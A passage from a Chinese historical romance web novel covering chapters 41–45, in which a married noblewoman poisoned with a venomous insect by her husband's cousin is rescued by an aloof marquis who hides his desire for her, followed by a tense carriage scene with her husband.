视线再往李眀柔那头看去,正好与她眼神对上,她似是有一瞬心虚,赶紧移开了目光。
季含漪视线一顿,身边方氏拉着她说了些什么也没听仔细,被方氏喊
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了几声方才回神。
方氏道:“看前头正热闹,我们也去瞧瞧?”
季含漪往前看了一眼,是那梅花上绑着香囊,香囊里头有字谜,猜对了就有赏赐,姑娘们忙着找香囊找梅树,笑声阵阵。
季含漪视线再往李眀柔身上看去,见着她虽往前走,视线却回头往她身上看,她敛眉细思,又朝方氏道:“姐姐们先去,我刚才瞧见了顾家姑娘,去说几句话再来找你们。”
方氏听罢也不劝了,便与其他人先走。
待人走后,季含漪便朝着相反的方向,往另外一边的假山竹林里走,又叫容春回头看看李眀柔的反应,又叫她看的别太显眼,当作是看梅林那边的热闹。
容春虽不明白,但也不多问的照做,没一会儿她回头狐疑的朝着季含漪小声道:“表姑娘好似往少夫人身后走过来了。”
“但又离得远远的。”
季含漪抿了抿唇,细细小雪飘至她脸庞,她仰头看了看冬日阴沉沉压下来的天色,握着容春的手往另一条小路去。
她对沈府的后院凭着小时候的记忆,依稀是认得些路的。
她只想知晓李眀柔到底要做什么。
只是她才拉着容春站到一块太湖石后,身体上却缓缓冒出一股灼热的疼,那股疼让她额头刹那间就渗出汗来。
白净手掌撑在粗粝不平的太湖石上,石砾漫入掌心的疼也不能缓解半分。
容春立马就发现了季含漪的不对,吓得忙问:“夫人怎么了?”
季含漪紧紧捏着容春的手,叫她先别出声。
不过才没一会儿,刚才远处的脚步声便由远及近的传来,在太湖石前顿了顿,往前走了一会儿又匆忙折返。
季含漪视线往旁边看去,衣摆一角也不难看出是李眀柔的衣裳。
她眼前已开始模糊,就连神志都开始不清晰,身体的滚烫让她此刻脑中只有一个念头,便是想要水。
她早已来不及去思索李眀柔到底做了什么,只想要用水去解身上的疼和热,挣脱开拉住她的容春往前走去。
容春吓坏了,这里幽静没人,又不敢留季含漪一人在这儿自己出去叫人,拉又拖不住,再有外头都是人,被人见着少夫人现在的模样,怕惹出非议来,不由急得快哭了出来。
正不知所措的时候,前面幽深小路往里,她忽然见着前面一道白衣高大的身影,如鹤身姿在一片白雪里犹如谪仙降临。
而自家少夫人一头就扑进了那谪仙怀里。
容春只觉得脑中嗡的一声,浑身都起了冷汗,膝盖都快软了。
第41章 对她动情,吻上她
细雪纷纷坠落,沈肆托着季含漪软绵绵的腰肢,低头看向怀里的脸庞。
只见季含漪脸色酡红,身体软的没有一丝力气,潮湿的发丝紧贴在脸颊上,她身上滚烫,脸颊潮湿,一颗颗汗珠从她发间往脸颊边坠,显然不同寻常。
又见她红唇张开,半睁的眼神涣散,热气铺洒过来,唇中喃喃喊水。
沈肆冷淡的眼神微微一顿,看了一眼旁边被吓得跌坐在地上的容春,横抱起季含漪便转身往身后走去。
容春看着沈肆的背影,后知后觉的赶紧爬起来跟上,
不知晓为什么,明明夫人被别人抱着,她心里却觉得像是终于得救了那般安心。
旁边的文安看见这一幕也惊了,又见着主子看来的眼神,赶紧过去容春的面前低声道:“我家爷轻易不救人,你安安静静的在屋外守着,别叫喊,明白了吗?”
容春脑子里只有那个救字,抹了把眼泪,赶紧点头。
文安看容春能听得进去话,心里是放心了,又急忙去叫府医来。
容春跟在沈肆的身后,哭着说缘由:“也不知道怎么回事,一直都是好好的,少夫人刚才忽然就说身上热,然后便这般了。”
又哭道:“求侯爷救救我家少夫人吧。”
沈肆没说话,径自抱着季含漪进了院子。
沈肆的院子寻常不会留太多人伺候,即便留下伺候的,此刻见着了主子抱着一名女子进来,也不敢抬头多看一眼,纷纷低着头,噤若寒蝉。
怀里的人一直在喊着水,沈肆低头看了眼自己胸前被季含漪身上的汗沾湿的痕迹,又叫外头的人送水进来。
他又抱着季含漪入了内室,将她的身子放在了自己的床榻上。
才一将人放下去,床上的人就伸手扯开了自己的领子,大片白腻的皮肤露出来,甚至露出了系在颈上的肚兜带子,那捏在领口的手指却还要再往下拉。
沈肆的目色一顿,伸手捏住了季含漪的动作。
他听见她闭着眼埋在枕上难受的喃喃,她喊着热,喊着疼,一头潮湿的长发早已散开,上头银色的簪子滑落在枕边,原本白净如雪的皮肤上染上不自然的潮红,小巧又饱满的唇瓣张开,贝齿若隐若现,呵出滚烫的热气。
沈肆蹙眉,替季含漪将扯开的领子拢好,伸手将修长的手指落到季含漪额头上,手指上传来的炙热早已不是寻常的发热。
送水的丫头进来,沈肆让丫头放在一边退下去,又弯腰托着季含漪的后背托她起来,将茶水送去她的唇边。
杯沿处一点一点湿润红透的唇畔,如同久旱逢甘霖,饥渴的不放过一滴。
这一杯显然是不够的。
沈肆蹙眉,季含漪明显是中了药,喝再多水也没用。
他放下她,打算叫季含漪的丫头来照顾她,现在季含漪显然意识不清,他不适合与她共处一室。
只是才走半步,手指就被一只柔软又滚烫的手握住。
他回头看她,就见她美目紧闭,身体微微轻颤,又侧身蜷缩起来,眼角里头滑出眼泪,软软哑哑的喊疼。
那糯糯声音一如她年少的声音未变。
沈肆的步子一顿,目色沉落到她身上,延绵起伏的曲线就如秀丽的云山。
体内翻滚着无法抑制的情潮与冲动,脸上却依旧是高华冷淡的神色。
修长的身形重新坐回她身边,任由袖口被季含漪紧紧捏着。
一如她那年落水后,也是这样紧紧捏着他的袖子。
他弯腰,静默的神情看着她眼角漫出来的泪光,又伸出修长的手指,指尖为她眼角冒出来的湿润拭去,眼里历来疏冷的神情已经微不可察的放软。
不过巴掌大点的脸,泪水一颗一颗往外滚,犹如遭受了天大的委屈。
他听着她轻声喊疼,为她将乱发别到耳后,轻轻拍着她后背。
燃着寥寥熏香的室内,一身白衣从不折腰的人,这会儿低头在榻上女子的耳边轻哄,声音低如呢喃:“别怕……”
闭着眼的人似是能听见,柔软如水的手如抓着浮木,往沈肆腰上攀,炙热的脸庞
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也凑了过去。
沈肆低低闷叹一声,按住季含漪乱动的手,又见她迷离的半睁眼睛,眼中涟涟水意蔓延,摄魂夺魄,如缠人妖艳的妖精。
红唇吐出诱惑至极的暖香。
握在季含漪手腕上的手背隐隐发紧,沈肆身体已情不自禁的下压,手背上微微出了青筋。
那张香软的红唇近在咫尺,沈肆呼吸微微重了些,手掌捏在季含漪细腰上,凉薄的唇瓣就要碰上她的。
只是这时外头却传来文安的声音:“爷,怀先生来了。”
沈肆深吸一口气,闭着眼仰头,半晌后才伸手将季含漪抱进怀里,又抬手将床帐放下去,才叫文安带人进来。
季含漪毕竟已经是人妇,为着她名声,他并不打算让人看见她面容。
只是季含漪那下意识乱动的手总是往身上扯,显然不能放任她自己躺着。
他的手落在她潮湿的后背上,难得脸上有两分温情的神色,低头又低哄了两句,按紧季含漪在自己怀里,看她不会再乱动了才叫府医进来。
好在季含漪的身子本就娇小,抱在怀里没什么重量,即便她挣扎,身上力气不大,又昏沉没有意识,小小的在他怀里缩成一团,像个病了的孩子般。
他捏住季含漪的一只手,让站在外面的怀先生把脉,又说了季含漪喊疼喊热的症状。
沈府的府医也是从太医院出来的人,是皇后娘娘特意叫来给沈老夫人调养身子的,怀先生年过五旬,医术也不在话下。
怀先生只见着那厚厚床帐下伸出的一只女子的手来,那手白的似雪似玉,素手纤纤,看得怀先生一愣,侯爷房中竟然有女子了。
又听到帐幔内绵绵细语如春水般的声音,他虽没听清到底说了什么,但也不由暗暗心惊,难怪侯爷院子里破天荒竟然有女子,光听这声音,已经不敢想那容貌了。
但这会儿他不敢多想,赶紧把脉。
只是愈把脉神色就愈凝重,迟迟不语里,直到沈肆稍不耐烦的催促了一句:“怎么了?”
第42章 为她失去理智,她却喊着另外一个人
怀先生忙整理了神色,朝着帐幔内的沈肆低声道":“这位姑娘的脉象诡异,阻滞气机的脉,湿热之状,火邪内盛。”
说完,怀先生微微一沉吟,思索一下才道:“寻常肝火旺盛不会是这样的脉象,且身体滚烫,在下看来,应该是**所致。”
沈肆冷沉的眉眼微抬:“什么毒?”
怀先生细细思索了番,才道:“应该是火毒所致。”
“但一般火毒不会至使身上发疼。”
说着他稍思量了几瞬道:“在下听过西域有一种虫,叫**虫,这种虫体内有极强的毒性,以火蚁为食,人一旦被咬,身上便会迅速发热,浑身疼痛,只有身体泡入水中才能缓解。”
“且这种**虫的毒性还能让人丧失神志,让**的人因发热不顾一切的要扑入水里,这种毒并不致人死,只要在水中泡够半个时辰便能解毒大半,只是身上还有疼些日子就是,所以大多**的人不是**而死,而都是溺水而死的。”
说着他摸了摸胡须:“这种西域有的东西,京城知晓的人倒是不多。”
“侯爷可看看这位姑娘身上有没有被咬过的痕迹,被**虫咬过的地方,会有红肿起来地方,十分显眼。”
沈肆垂眼,低低看着季含漪在乱动间早已露出来的白嫩手臂
那手臂内侧上,正有一小块红肿,中间清晰可见被咬过的小孔。
他神色复杂的看着怀里的人,谢玉恒后宅里没有其他女人,她也不过是一个宅院女子,谁会在她身上用这样的毒。
他再开口:“泡水之后,身上的余毒能解么。”
怀先生连连点头:“侯爷放心,能解的。”
怀先生一走,沈肆手上的力道才稍松了一下,怀里的人便开始不安分的乱动起来。
柔若无骨的手指攀上他的肩膀,眼里莹莹又冒出泪光来,似乎是在朝着他撒娇,脸庞抵在他胸口处,指尖拽进了他肩膀上的衣料,沙哑喊水的声音软绵绵又无力。
那身上的芙蓉色粉衣映上她脸颊,如春和景明般的妩媚又娇柔。
沈肆低头看着季含漪,那双眼眸亦看着他,又好似眼里看着的人并不是他。
就如当年她落水,他将她从水里救出来,她也是用这样的眼神看他,半是撒娇半是妩媚。
她那时候快十四的身子已经玲珑有致了,他为她差点失了理智,为她差点就要用尽手段去毁了她与谢家的姻缘,可她口中却喊的却是另外一个男子。
那天对于沈肆来说,犹如噩梦。
却偏恨她旖旎的身子这么多年来,却依旧在他脑中挥之不去。
本不愿再见她的。
他避开关于她的任何事情,到头来还是被她轻易牵扯出思绪与心底对她的欲望。
沈肆深吸一口气,垂眸深深看着怀里的人,捏在她腰肢上的手指紧了紧,紧绷的身体里又化为一道长长的叹息,抱着她往放好水的净房去。
浴桶很大,里面放满了水。
沈肆只是放下季含漪去打算出去叫季含漪的丫头进来时,季含漪已经扑进了浴桶里。
哗哗水声不小,沈肆身上的白衣也被季含漪的动作溅湿了一片,水珠顺着衣摆往下滴。
要说沈肆至这个年纪,也是第一回有人将水弄湿他满身。
他稍无奈,低头往浴桶看去时,又见季含漪正趴在浴桶边缘,一头柔顺的长发紧紧贴在她脸颊上,正抬头似看他。
她脸庞上的水珠滑落至她下巴上欲落不落,那眸子依旧迷茫又无辜。
又见她饱满的红唇轻轻叹息一声,好似终于得到疏解,微微仰着头,没再喊热和疼了,就连脸颊上的潮红都在慢慢褪去。
只是她身上松散的衣襟在水波里荡漾,白腻的皮肤透过薄薄的里衣透出来,沈肆簌的闭眼,转身走出了净房。
容春被叫进来,但她不敢乱看,低着头跟着婆子进了净房。
当季含漪有些意识的时候,才知晓自己在水中泡了半个时辰。
容春见季含漪终于开口说话了,高兴的又哭了一场,再将刚才发生的事情说了一遍。
季含漪身上这会儿是满身的疲惫,她撑着额头在浴桶边缘,听到是沈肆抱着她回来的时候,指尖不由微微一顿。
其实当时她发现自己已经无法控制自己的时候,就已经用最后一丝理智往沈肆院子的方向去。
沈肆的院子,是整个沈府最清静的地方,沈肆从来喜静,其他院子的下人无事更不敢往那边走。
再有她心底深处是信任沈肆的,沈肆是高华君子,虽然冷淡,但必然是不屑做小人行径的人。
他即便不会管她,也不会对她做什么,至少在沈肆这里,她还有一线希望能够保全自己。
幸好,她赌对了。
只是她没想到,沈肆会带她来他的院子,她原以为他不会愿意理会她的。
现在她脑中渐渐清明起来,开始细想前因后果。
应该是李眀柔在她身上做了什么,所以她今日才会有那样的反常。
又听容春说起自己一直喊着水,想起那梅林就在水榭边上,李眀柔邀她去梅林,若是她去了,控制不住往水榭里跳下去,后果她已经可以预料了。
今日来的不仅都是后宅女子,水榭对面远远还有一同前来的男子在那里休息谈天,要是自己在大庭广众下跳下水,即便能被救起来,但湿透的模样被对面的男子瞧见,不仅名誉扫地,还连累家族里都抬不起头,谢家更是会毫不犹豫的马上休了她。
世家女子的名声大过于天,一点点香艳底色的流言
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,就足以毁了一个女子的一生。
更别说她不顾世家女子仪态,忽然跳水这样的举动,就足以让她永远抬不起头来。
——-
屋外沈肆这时已经换了一身绿衣,站在门外,听着文安从前面带回来的话。
文安低声道:“谢家的人好似正找着谢少夫人。”
“还有谢家大爷等候在后院的后门处,这会儿宴席快散了,应该也是来接谢少夫人的。”
沈肆眸子冷淡的看向庭院,眼神里历来也让人猜不透他在想什么。
门口旁的药炉子咕噜咕噜的发出声音,淡淡的药味弥漫开去,这处院子,已经许久没有这样的味道了。
院子里的丫头都已经叫出去了,这会儿这么大个院子,只留了一个老嬷嬷在外间等着伺候,一时院中静的连落雪的声音都能听到。
文安揣测不了侯爷此刻是什么心思,又低低恭敬的开口:“还有皇后娘娘身边的嬷嬷刚才又来过传话催了,说叫侯爷往正堂的东暖阁里去一趟,说好几位贵女也在……”
沈肆淡淡看了文安一眼,那眼神凉的让文安都打了个颤,赶紧闭嘴退去一边。
退到一边的文安却忍不住乱想,想侯爷侯在门口又是为着什么呢。
明明一大早还往衙门去了,却又中途回来。
再有侯爷可从来不是多管闲事的人,不干自己的事情,那是眼皮都不带抬一下的,今日却……
主子对里头那位定然是不同的,今日他也算终于看清了那女子容貌,竟比他想象中的模样还要惊心。
本以为是主子终于久旱逢甘露,老夫人还有皇后娘娘就要添高兴事了,可谁想,里头那位竟然是已婚夫人。
天可怜的,他都不敢想自己到底看到了什么。
自家如寒松冷月,身份地位在京城里都独一份的主子,唯一对待不同的女子,竟然是别人之妇。
还抱着那妇人进了主子从不让外人进的内室,睡了主子自己平日里睡的床榻。
那可是素有洁癖的主子睡的床榻啊!
这事不说他不敢说出去,就是说出去了,外头人都不敢信。
即便他亲眼看见都觉得不敢信,虽说刚才那惊鸿一见那妇人貌美是极貌美的,说是尤物都不为过,形形**贵女见了不少,但那妇人身上的美,还真是仅此一见。
但那妇人即便再美,那也嫁了人了啊!他只当那妇人救过主子的命,不然当真是解释不过去……
沈肆负着手,脸上冷清,那张潮红的脸庞却总是浮现在他眼前。
他稍有些烦躁的皱眉,鼻端依旧残留着她身上的味道,叫他难得心绪烦乱。
他甚至为她在谢家的处境担心。
沈肆冷了冷眸,身后却忽传来一道细细的声音:“沈大人。”
第43章 想打破禁忌,想与她缠绵
声音在细雪里化开,依旧带着她音调里独特的绵软。
沈肆静静回头,看向正站在她身后的季含漪。
只见季含漪身上换上准备好的衣裳,半干的长发素挽起来,脸颊苍白,落下来的发丝被凉风吹的微微浮动。
那双杏目正看着他,还往他面前走了一步。
她走的小心翼翼,停下时,对他规规矩矩福了一个感激的万福礼。
她稍显微弱又感激的声音过来:“这回多谢沈大人帮忙,妾感激不尽。”
万千飘雪飘在两人之间,沈肆低垂的眉眼里只落在季含漪苍白的面容上。
白色的雪落在她发上肩头,冷风往她身上灌,单薄的样子似随时要倒了。
沈肆敛了敛眉目,余光落在她纤细白嫩的后颈上,看着她姿态恭敬,不由往边上走了一步,为她挡住了风。
沈肆问她,冷淡又疏离的声音没有任何情绪起伏:“知道是谁做的么。”
季含漪明白沈肆问这话的意思,刚才容春在浴房里将**虫的事情与她说了,现在季含漪已经能确定,是李眀柔在靠近她的那一刻,偷偷将那毒虫放进了她的袖口。
难怪她之前会那样紧张的看着自己。
但她没想到沈肆会问这个。
她抬起头,视线对上沈肆低沉看来的目光,心里又生出一股紧张。
刚才容春还说她热极了扯自己衣裳,虽说她全记不得了,但一想到自己在沈肆面前做了失礼的动作,便觉得羞愧。
在她心里,他是长辈,是高不可攀的寒峰,是没有七情六欲冷冰冰的玉石头,在他面前的任何窘迫,都显得慌乱无措。
季含漪知晓,沈肆不会看轻嘲弄她,但最叫人胆怯的是,连叫他嘲弄的资格都没有,让自己觉得自己愈加低到尘埃。
此刻那种窘迫又席来,叫季含漪手足无措,她甚至不敢对上沈肆的眼睛,只敢如小辈那般讷讷的垂着眼眸,再规规矩矩的答话:“知晓的。”
又捏紧袖口,小声道:“这回又给沈大人添麻烦了。”
沈肆微微蹙眉看着季含漪这副模样,刚才扯着他袖子,脑袋往他怀里蹭的时候,倒是丝毫不惧怕他,这会儿在他面前这般拘谨生疏,仿佛害怕他与他有什么关系。
沈肆唇边勾着抹讽刺的幅度,也是,这个女人向来迟钝又小心,给她台阶都不明白如何往前走。
她应该更想不明白,她为什么能留在他的院子,为什么他要帮她。
这才是最是叫沈肆讽刺的,她或许不是迟钝,她只是永远想不明白。
更讽刺的是,她那一声声生疏的沈大人,将过去撇清的一干二净。
也是,如今几年过去,他们还有什么关系。
沈肆脸上的沉色随着他的情绪愈冷。
常在都察院办案,浑身本就有股肃冷肃杀,身上的压迫寻常人受不住。
头顶迟迟没有沈肆的声音,季含漪便更觉得心惊胆战的,她抬头,沈肆的目光正看她,那一双冷冰冰的凤眼微眯着,脸上的冷比外头的雪还冷。
那眼神如看刑犯,带着一股公事公办又漠不关心的冷,季含漪知晓自己大抵是被沈肆厌烦了。
也是,他如何不厌烦自己。
他最喜清静了,这些日子,自己总扰了他。
况且自己也没有什么能还他恩情的,自己于他无足轻重,还只能给他添麻烦。
她低下头,眼眶里有热流打转,被沈肆厌恶,在他面前总是这般狼狈,叫她也心生出了厌恶自己的感觉。
让她觉得自己做错了事情。
她不明白,她只是当初满怀期待的嫁给了那个人人口中朗风清月的正人君子,为什么如今会变成这样一地狼藉的结局。
她努力的眨着眼睛,头愈低垂,不叫泛红的眼睛被沈肆看到,季含漪的声音也变得沙哑,她开口:“对不起……”
看着她低头的模样,耳坠轻晃,站得规整又小心,那搭在肩头的湿发晕染了她粉色衣裳,沈肆听着她声音,深吸一口气,闭上眼睛。
罢了罢了,季含漪能明白什么呢。
她已是已婚之妇,自己又想让她明白什么。
她没什么错,是自己没放下,将她带入到自己旖旎的梦里,对她做尽最亲密的事情。
她也的确并不了解自己,她更不明白自己如何想占有她。
她不明白也好。
她若是明白,她若是知晓自己在梦里对她做的那些事情,只怕会避他如蛇蝎。
垂眸又见季含漪在他面前低着头,连头也不敢抬,不由又皱眉:“就这么怕我?”<
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br>季含漪咬着贝齿,摇头否认的很快。
沈肆皱眉愈深:“季含漪,抬头。”
这连名带姓的喊,又是沈肆那惯有的严肃冷淡的声音,吓得季含漪脑中一片空白,一下就抬起了头。
首先映入沈肆眼帘的是季含漪那泛着水光的杏眸,白嫩脸颊上眼眶红晕,翠绿色的耳垂乱颤,看起来如同受惊的雀鸟,与他梦中被他压在身下的模样一样。
放在身后的指尖捏紧,忍住了这一刻想将她按进怀里的冲动。
他松懈情绪,看着她眼中打转的水色问她:“委屈?”
季含漪自然是不敢承认的,又不敢看沈肆脸上的表情,只是摇头。
那翠绿耳坠打在那白生生的脸庞上,花枝乱颤,楚楚可怜,如遇着了猛鹰的金丝雀。
这模样叫沈肆心里头微微有股烦躁起来。
她总这般怕他。
他问:“我凶了?”
面上看起来是很凶的,但季含漪也不能说出来,况且沈肆帮了她,她心底全是感激,更不能说沈肆凶。
千言万语,即便要她匍匐在他脚边感谢,她都觉得是不够的。
她这回对上沈肆的眼睛,依旧认认真真的摇头:“沈大人没凶。”
沈肆看了眼季含漪湿漉漉的眼睛,这话也没什么可信的。
他深吸一口气,竟拿她没法子。神情却不由自主的没那么冷了。
他看着她,单薄的肩膀,粉衣上花团锦簇,眉眼弯弯,清澈如溪,如一朵静好娇柔的含露芙蓉花,曾经千万次想过紧拥她在怀里的感觉,也曾以为自己能够完全将她忘记,原来自己也有为她溃不成军的时候。
说过再不见她的,偏她又闯进来。
指尖顿了顿,想要抚上她眼角那一抹湿润,想要打破这层禁忌,想要与她就在这间屋子缠绵,想要放纵自己对她做所有想做的事情,
甚至想要让谢玉恒永远的消失。
只是抬手间看到季含漪抬眼看来的眸子,又生生顿住。
那眼眸清澈无辜,满是对她的感激与敬畏,他又捏紧了手,顿住了动作,长长吐出一口浊气。
他问她:“还要我帮你什么。”
季含漪一怔,愣愣看着沈肆,半晌才犹犹豫豫的问:“真的?”
沈肆挑眉。
第44章 沈肆是个冰山
沈肆离开的时候,只留下简简单单的一个字,好。
院子里空空荡荡,文安留在原地,过来站在季含漪的身边低声道:“谢少夫人,外头凉,您先进屋去吧。”
“我家侯爷刚才说了,谢少夫人可以等身上好些了再走。”
说罢,文安又道:“谢少夫人放心,这里是我家侯爷的地方,院内下人都已叫了出去,其他人寻常不往这儿来。”
季含漪看向文安,知晓这位是沈肆身边的贴身长随,她整理情绪,后退一步,朝着文安客客气气道:“怎敢再留在这里叨扰。”
“这会儿我身上已经好多了,再不敢留了。”
说着季含漪便要往外走。
文安见人真要走,那廊下炉子里熬的药都还没喝,想着主子的吩咐,忙拦在前面道:“谢少夫人不必多礼,那药过会儿就熬好了,还请谢少夫人喝了药再走,也是不辜负我家侯爷的安排。”
“侯爷也已为谢少夫人安排好了说辞,谢少夫人是被沈老夫人单独叫去说话,也有嬷嬷去给谢家人传话了,即便谢少夫人晚些出去,也不要紧的。”
季含漪微怔,又看着飘飘洒洒的雪失神。
沈肆从来都是这么面面俱到的。
她不禁想起那年她落水,她其实在落水的刹那是看到沈肆往她面前疾步过来的,只不过她怕水,春日的水依旧冷,她怕的也喊不出来,后头也全记不得了。
那年是春日,他在阁楼上看书,他喜静,不喜欢看书的时候有人在,她在阁楼下的池水边喂鱼,等着父亲与老首辅说完话,过来接她回去。
其实她也觉得有些无趣,一个人坐在亭子里,也不明白父亲为什么每回来都要带着她来。
后来她问了,父亲说是老首辅想见她。
可明明每回跟着父亲来了,老首辅也只是笑着看她几眼,又叫她去找沈肆玩。
可沈肆是个冰山,一靠近就觉得身上也冷的冰山。
再好笑的笑话他都没笑过。
她不明白为什么每次要去找沈肆,但她拒绝不了和蔼又笑吟吟的老首辅。
听母亲说,那回沈肆救了她,却安排的极好,下人没有一个人传出半点风声来,甚至她夜里昏迷不醒的在沈肆屋里过了半夜,沈府其他人都不知晓。
她落水的事密不透风的后头没有人提起过。
就连季含漪自己都觉得自己是不是做了场梦。
如今沈肆又这么安排妥当,她当真安心,只要是他安排的,就一定不会出差错。
本她现在想的是借一顶帷帽,不引人注意的遮住脸从后门离开。
但这时候也没有理由再推辞,她也明白,忽然一个人回谢府,头发湿了出去也不好解释,便应下来。
进了屋子,铺面而来是一股暖意。
屋内小厅的布置一如他人一般冷淡又雅致,每一件摆件都是精雕细琢价值连城。
那堂上挂着名家唐寻的画,两边对联亦是出名家之手。
紫檀条案上放着青瓷果盘与鎏金香炉,香炉里的雅香冉冉,一如沈肆身上冷淡的冷茶香。
她只坐在外小厅里,手里捧着文安送来的手炉,让容春站在她身后用暖炉熏干头发。
她坐姿端正规整,毕竟是沈肆的居所,低头不曾乱看,就安安静**在黄檀圈椅上,在这冷肃的小厅里,她身上的那一抹芙蓉色,犹如将春日的春景也带了进来。
文安没忍住偷偷打量,又不禁的想,要是将来这里真的有了女主子,这里的布置那该是个什么光景。
视线又往季含漪身上看过去,其实要不是已经知晓谢少夫人已为人妇,还真看不出来嫁了人。
那张脸庞依旧年轻,眼眸横秋如波光凌凌,即便垂着眼帘,也另有一种像是被娇养的很好的娇柔气。
毕竟不是孱弱如细柳般的女子,看起来饱满又纤细有致,其实与时下女子追逐的美态是有不同的。
他又不禁乱想,侯爷三番两次为着这位夫人停留,难不成真……
想着想着赶紧给了自己一巴掌,这要传出去,天都塌了。
头发快干时,季含漪视线看向窗外依旧绵绵不绝的小雪,身上的温暖却叫她忽然心生出一股难过来。
她缓缓展开手里的帕子,那里头是找出来的那只虫子。
她在想,这件事又会走向什么样的结局。
---
从沈府侧门出去的时候,正见着谢玉恒在门外等着,李眀柔亦陪在身侧。
他见着季含漪出来,又见她斗篷上洒了些雪,忙两步走过去将季含漪揽进怀里,抬头为她扫了肩膀上的雪,又将手上重新放了银炭的手炉将她手上的手炉换下来。
他低头看她,摸着她手指微凉,脸颊苍白,眼眸里有些寂寥的神色。
这样的神色在季含漪身上是并不常见的,他看着她低低开口:“我听说沈老夫人留你说了会儿话,可是累了?”
季含漪摇头,伸手将要谢玉恒推开,但谢玉恒搂的很紧,竟推不开。
谢玉恒又抬手捧着季含漪的脸庞,她的脸庞带着凉意,他低头在她额间轻轻落下一吻,含着柔软低低道:“含漪,我一直等着你,明柔担心你也一起等着,这会儿天色不算晚,我带你去庙会,再带你去玉翠堂买几件你喜欢的首饰。”
季含漪早已体会不到谢玉恒的温情了。
她甚至觉得这样的温情不应该是属于她的。
即便此刻他的声音当真温柔。
她看了眼旁边过来的李眀柔,不愿在这处与谢玉恒说什么话,往后仰了仰,又道:"大爷,我有些累了,改日吧。"
季含漪明显抗拒的动作,谢玉恒能够感受到,他微微一僵,看着季含漪,他如今是看不懂她了,他们是夫妻,如今已生疏客套的如同陌生人。
他紧了紧她的手,又牵着她上马车。
沈肆站在高处看着谢玉恒吻在季含漪额头上的那一幕,历来不动声色的眼眸里微微沉沉的眯眼。
他们可以在外旁若无人的亲近,是因为他们是夫妻。
是因为她是谢家妇,是谢玉恒的妻。
沈肆唇边淡淡讽刺,身上散发的冷气的连旁边的文安都感觉到了冷。
又听一声淡淡的轻嗤,他还来不及反应,就见侯爷又转身离开。
文安跟在后面莫名就觉得有些胆战心惊的,他算是明白了,侯爷是真对那妇人上心,知晓人走,竟还要特意过来看一眼。
这猛然的意识让他心生寒意和惊恐,总觉得要是透露出一点
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风声了,自己就要小命不保了。
这头季含漪已经坐上了马车,马车内很宽敞,李眀柔是跟在季含漪的身后上的马车。
她从刚才看到季含漪的第一眼开始,眼神就始终打量在季含漪的身上。
她将她里里外外都打量了遍,甚至她发上的每一根头发丝都打量一遍。
季含漪依旧还是如同之前那般端庄从容的坐着,依旧还是那样一丝不苟的头发,就连发上簪子的位置都没有改变。
但定然不该是这样的。
她的视线落到季含漪露出来的裙摆上,视线看了眼最后上来的谢玉恒,又朝着季含漪问:“表嫂,你身上的衣裳换过了?”
谢玉恒听到李眀柔的话,坐在季含漪的身边后不由往季含漪身上看去,问道:“你在沈府换了衣裳?”
季含漪面色如常:“我与沈老夫人说话时,丫头奉茶时不小心弄湿了我的衣裳,所以沈老夫人让人另外给我换了一身。”
谢玉恒听罢这话,不由道:“没想到沈老夫人居然会留你说话。”
他倒是也听父亲说起过,季含漪父亲曾是沈老首辅最器重的学生,沈老夫人该见过季含漪几面,叫她过去说话叙旧,大抵也说得过去,也没有再问。
李眀柔看着谢玉恒手掌将季含漪的手握住,袖口内的手指几乎捏的发疼的。
她又抬头看着季含漪,挤出一个担心的神情来:"表嫂今日不声不响的就先走了,害得我们好找。"
“我见着表嫂往一个偏僻的地方去,后来打听到那是沈侯爷的院子,本来还担心表嫂过去冲撞了贵人,如今表嫂好好的出来,我也算放心了。”
季含漪淡淡看了眼李眀柔,这话暧昧不明的,总要引人往其他地方去想。
她淡笑了声:“难为你特意关心我去了哪儿。”
李眀柔一愣,又干干笑了下:“我历来想与表嫂亲近多说说话的,只是表嫂喜欢自己一人,我唯有默默留心着。”
季含漪没有在说话,她不说话是懒得与李眀柔虚情假意虚与委蛇,里子里早就撕破了脸,她要在表面上下功夫,但她却没兴致了。
但从前这时候谢玉恒总会说两句李眀柔的好话,再说让她宽容大度,多与李眀柔亲近的话来,但这会儿谢玉恒竟没开口。
他反而朝季含漪低声问:“晚上就在外头吃吧,待会儿想吃什么?”
季含漪从谢玉恒手中抽出手,摇头道:“大爷与明柔一起去吧,我身上累了。”
季含漪从手中抽出去的手,就犹如谢玉恒觉得此刻在他心里抽出了一块。
他默然看着季含漪脸上的神情,那平静的神色,那平缓的音调,她说让他与明柔一起。
从前从来不可能从她口中说出来的话,如今像是她最寻常的话一般。
他从她的眼里看到了她当真不在乎他了。
那个这些日谢玉恒逃避的事实,让他一遍遍在季含漪的身上无法自欺欺人。
两人只不过是一夕之间,就变成了如今这般。
他甚至不明白季含漪的心,究竟是在什么时候变的。
谢玉恒深吸一口气,他眉目沉寂下来,冷清的眼眸里浮起温度:“含漪,你是我的妻,我自然与你一起去。”
第45章 你要我留下陪你么?
季含漪对谢玉恒这些虚假的话听的难受。
她从来与他维持着表面的和气和体面,但不代表她当真半分脾气都没有。
其实季含漪当真想要问一问谢玉恒,身为他的妻,便应该事事听他摆布么。
任由他将她扔在雪里。
任由他将偏心全给了另外的人。
这就是他的妻。
可她深吸一口气,还是没说出来。
因说出来是怨恨,是抱怨,是对过去的怨怼。
是她在朝谢玉恒发泄心里积压已久的委屈。
是她对他还有期望。
但两人之间早就没有期望了。
季含漪并不掩盖住自己脸上的不愿,她低头撑着额头,眼眸并不想停留在谢玉恒身上,细指揉了揉眉心,她道:“大爷,我真的累了。”
叹息的声音里含着浓浓疲惫。
将谢玉恒喷涌在喉咙里的话,一瞬间都堵的戛然而止。
从来没有任何一个时候,让谢玉恒会有一瞬间觉得会在季含漪面前有一股手足无措的无力。
这种无力感将他淹没,让他仿佛觉得自己在季含漪的面前糟糕透了。
她厌烦极了自己。
是啊,他竟然会觉得季含漪会厌烦自己。
曾几何时,窗前都是她等着自己的烛影,耳边都是她温声细语的关切。
要不是李眀柔这时候在旁边看着,谢玉恒都觉得自己此刻要变成一只焦躁无力的狮子,甚至想要怒吼一声。
两人的对话旁边的李眀柔全听到了,就连谢玉恒往前冷清的脸上,此刻却带着一丝讨好的神色她也都看到了。
她怔怔的看着,陌生的不仅是敢拒绝谢哥哥的季含漪,更让她陌生的人是眼前从小最照顾她的谢哥哥。
她甚至觉得,谢哥哥对季含漪露出的那一抹讨好一定是她看错了。
明明谢哥哥一直都不喜季含漪啊,谢府上下的都知晓的。
不对的,一定不对的。
她不由出声小声道:“谢哥哥,既然表嫂累了,就让表嫂先回去吧。”
“上回谢哥哥不是说要给我带我喜欢吃的梅花糕么,谢哥哥今日带我去吃吧。”
